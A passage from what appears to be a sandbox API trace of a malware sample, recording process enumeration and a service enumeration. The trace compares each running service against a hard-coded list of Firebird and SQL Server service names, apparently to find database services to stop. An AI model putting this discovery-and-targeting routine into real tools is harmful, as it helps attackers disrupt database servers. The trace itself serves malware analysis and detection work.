cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0076.780] lstrlenW (lpString="utg2.exe") returned 8 [0076.780] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hygiene_ppm.exe")) returned 1 [0076.780] lstrlenW (lpString="hygiene_ppm.exe") returned 15 [0076.780] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="glow be.exe")) returned 1 [0076.781] lstrlenW (lpString="glow be.exe") returned 11 [0076.781] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects_pixel_academics.exe")) returned 1 [0076.782] lstrlenW (lpString="prospects_pixel_academics.exe") returned 29 [0076.782] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="contains roles was.exe")) returned 1 [0076.782] lstrlenW (lpString="contains roles was.exe") returned 22 [0076.783] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0076.783] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0076.783] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0076.784] lstrlenW (lpString="taskhostw.exe") returned 13 [0076.784] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0076.785] lstrlenW (lpString="taskhostw.exe") returned 13 [0076.785] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0076.797] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0076.798] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0076.798] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0076.798] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0076.799] lstrlenW (lpString="UsoClient.exe") returned 13 [0076.799] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0076.800] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0076.800] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x120c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.800] lstrlenW (lpString="conhost.exe") returned 11 [0076.800] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x11fc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.801] lstrlenW (lpString="conhost.exe") returned 11 [0076.801] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.802] lstrlenW (lpString="svchost.exe") returned 11 [0076.802] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0076.803] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0076.803] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0076.803] lstrlenW (lpString="svchost.exe") returned 11 [0076.803] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x118c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0076.804] lstrlenW (lpString="cmd.exe") returned 7 [0076.804] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0076.805] lstrlenW (lpString="conhost.exe") returned 11 [0076.805] Process32NextW (in: hSnapshot=0x2c4, lppe=0x24dfd2c | out: lppe=0x24dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x510, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0076.805] CloseHandle (hObject=0x2c4) returned 1 [0076.805] Sleep (dwMilliseconds=0x1f4) [0077.852] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4cef40 [0077.877] EnumServicesStatusExW (in: hSCManager=0x4cef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 0 [0077.881] GetLastError () returned 0xea [0077.881] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x1d5a) returned 0x4f3b70 [0077.881] EnumServicesStatusExW (in: hSCManager=0x4cef40, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4f3b70, cbBufSize=0x1d5a, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4f3b70, pcbBytesNeeded=0x24dff3c, lpServicesReturned=0x24dff54, lpResumeHandle=0x0) returned 1 [0077.881] CloseServiceHandle (hSCObject=0x4cef40) returned 1 [0077.882] lstrlenW (lpString="Appinfo") returned 7 [0077.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0077.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0077.882] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0077.882] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0077.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0077.882] lstrlenW (lpString="AppXSvc") returned 7 [0077.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0077.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0077.882] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0077.882] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0077.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0077.882] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0077.882] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.882] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0077.882] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0077.882] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0077.882] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0077.883] lstrlenW (lpString="Audiosrv") returned 8 [0077.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0077.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0077.883] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0077.883] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0077.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0077.883] lstrlenW (lpString="BFE") returned 3 [0077.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0077.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0077.883] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0077.883] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0077.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0077.883] lstrlenW (lpString="BITS") returned 4 [0077.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0077.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0077.883] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0077.883] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0077.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0077.883] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0077.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0077.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0077.883] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0077.883] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0077.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0077.883] lstrlenW (lpString="CDPSvc") returned 6 [0077.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0077.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0077.883] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0077.883] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0077.883] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0077.883] lstrlenW (lpString="ClickToRunSvc") returned 13 [0077.883] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0077.883] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0077.883] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0077.883] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0077.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0077.884] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0077.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0077.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0077.884] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0077.884] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0077.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0077.884] lstrlenW (lpString="CryptSvc") returned 8 [0077.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0077.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0077.884] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0077.884] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0077.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0077.884] lstrlenW (lpString="DcomLaunch") returned 10 [0077.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0077.884] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0077.884] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0077.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0077.884] lstrlenW (lpString="DeviceAssociationService") returned 24 [0077.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0077.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0077.884] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0077.884] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0077.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0077.884] lstrlenW (lpString="Dhcp") returned 4 [0077.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0077.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0077.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0077.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0077.884] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0077.884] lstrlenW (lpString="Dnscache") returned 8 [0077.884] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0077.884] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0077.884] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0077.884] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0077.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0077.885] lstrlenW (lpString="DoSvc") returned 5 [0077.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0077.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0077.885] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0077.885] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0077.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0077.885] lstrlenW (lpString="DPS") returned 3 [0077.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0077.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0077.885] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0077.885] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0077.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0077.885] lstrlenW (lpString="DusmSvc") returned 7 [0077.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0077.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0077.885] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0077.885] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0077.885] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0077.885] lstrlenW (lpString="EventLog") returned 8 [0077.885] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0077.885] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0077.886] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0077.886] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0077.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0077.886] lstrlenW (lpString="EventSystem") returned 11 [0077.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0077.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0077.886] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0077.886] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0077.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0077.886] lstrlenW (lpString="FontCache") returned 9 [0077.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0077.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0077.886] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0077.886] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0077.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0077.886] lstrlenW (lpString="gpsvc") returned 5 [0077.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0077.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0077.886] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0077.886] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0077.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0077.886] lstrlenW (lpString="iphlpsvc") returned 8 [0077.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0077.886] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0077.886] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0077.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0077.886] lstrlenW (lpString="KeyIso") returned 6 [0077.886] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0077.886] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0077.886] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0077.886] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0077.886] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0077.887] lstrlenW (lpString="LanmanServer") returned 12 [0077.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0077.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0077.887] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0077.887] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0077.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0077.887] lstrlenW (lpString="LanmanWorkstation") returned 17 [0077.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0077.887] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0077.887] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0077.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0077.887] lstrlenW (lpString="lfsvc") returned 5 [0077.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0077.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0077.887] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0077.887] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0077.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0077.887] lstrlenW (lpString="lmhosts") returned 7 [0077.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0077.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0077.887] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0077.887] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0077.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0077.887] lstrlenW (lpString="LSM") returned 3 [0077.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0077.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0077.887] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0077.887] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0077.887] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0077.887] lstrlenW (lpString="MapsBroker") returned 10 [0077.887] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0077.887] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0077.887] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0077.888] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0077.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0077.888] lstrlenW (lpString="MpsSvc") returned 6 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0077.888] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0077.888] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0077.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0077.888] lstrlenW (lpString="NcbService") returned 10 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0077.888] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0077.888] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0077.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0077.888] lstrlenW (lpString="netprofm") returned 8 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0077.888] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0077.888] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0077.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0077.888] lstrlenW (lpString="NlaSvc") returned 6 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0077.888] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0077.888] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0077.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0077.888] lstrlenW (lpString="nsi") returned 3 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0077.888] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0077.888] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0077.888] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0077.888] lstrlenW (lpString="PcaSvc") returned 6 [0077.888] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0077.888] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0077.889] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0077.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0077.889] lstrlenW (lpString="PlugPlay") returned 8 [0077.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0077.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0077.889] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0077.889] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0077.889] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0077.889] lstrlenW (lpString="Power") returned 5 [0077.889] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0077.889] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0077.889] lstrcmpiW 